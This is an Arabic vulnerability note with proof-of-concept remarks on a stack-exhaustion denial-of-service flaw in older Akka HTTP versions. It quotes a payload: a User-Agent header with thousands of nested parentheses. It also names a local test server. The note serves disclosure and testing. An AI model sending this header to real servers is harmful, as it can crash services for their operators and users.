يمكن أن يواجه Akka HTTP الإصدارات 10.1.x قبل 10.1.15 و10.2.x قبل 10.2.7 استنفادًا للمكدس (stack exhaustion) أثناء تحليل رؤوس HTTP، مما يسمح لمهاجم عن بُعد بتنفيذ هجوم حجب الخدمة (Denial of Service) عبر إرسال رأس User-Agent يحتوي على تعليقات متداخلة بعمق.

المراجع

MITRE

مدونة Akka

التعشيش العشوائي للتعليقات

دليل الإعداد الأساسي لـ Akka

ملاحظات إثبات المفهوم

• الإصدار الذي تم الاختبار عليه: 10.2.4
• بصمة الخادم المستهدف: akka-http/<version>
• مقتطف الحمولة: `User-Agent: (((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((``
• يتسبب في تجاوز سعة المكدس (stack overflow) في Akka HTTP مما يؤدي إلى حجب الخدمة (DoS)
• يمكن استخدام محتويات scala-akka-http-server-example/ للاختبار محليًا (يُشغَّل على http://localhost:8082 عبر sbt > compile > run)